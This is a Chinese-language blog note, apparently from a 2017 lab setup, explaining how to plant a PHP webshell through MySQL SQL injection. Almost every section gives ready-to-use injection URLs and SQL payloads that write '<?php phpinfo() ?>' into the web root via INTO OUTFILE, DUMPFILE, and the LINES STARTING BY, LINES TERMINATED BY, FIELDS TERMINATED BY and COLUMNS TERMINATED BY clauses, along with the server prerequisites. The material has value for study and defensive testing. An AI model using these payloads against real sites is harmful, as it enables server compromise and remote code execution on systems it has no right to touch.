很久没更新了,分享一个2017年的笔记。

0x00 写数据前提

1,在mysql的配置文件 my.ini 中,secure_file_priv="c:/wamp64/tmp" 被注释 或者 `secure_file_priv 配置的位置是web目录。

2,未开启全局gpc。

0x01 环境准备

测试语句

http://172.16.55.130/work/sqli-1.php?id=1

页面显示效果


0x02 union select 后写入

最常见的写入方式,union select 后跟 into outfile 语句

http://172.16.55.130/work/sqli-1.php?id=@ union select 1,2,3,4,'<?php phpinfo() ?>' into outfile 'C:/wamp64/www/work/webshell.php'

http://172.16.55.130/work/sqli-1.php?id=@ union select 1,2,3,4,'<?php phpinfo() ?>' into dumpfile 'C:/wamp64/www/work/webshell.php'

PS: 在windows下,位置的分隔符为 /(斜杠)。

0x03 lines terminated by 写入

注入点语句

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

执行语句后,页面显示内容

完整的Sql语句

select * from phpcmsv9.v9_admin_role where roleid = 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

Webshell显示

注入原理

通过select语句查询的内容写入文件,也就是 1 into outfile 'C:/wamp64/www/work/webshell.php' 这样写的原因,然后利用 lines terminated by 语句拼接webshell的内容。lines terminated by 可以理解为 以每行终止的位置添加 xx 内容

0x04 lines starting by 写入

注入点语句

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';

注入原理

利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容

0x05 fields terminated by 写入

注入点语句

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';

注入原理

利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容

0x06 COLUMNS terminated by 写入

注入点语句

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?php phpinfo() ?>';

注入原理

利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容

参考资料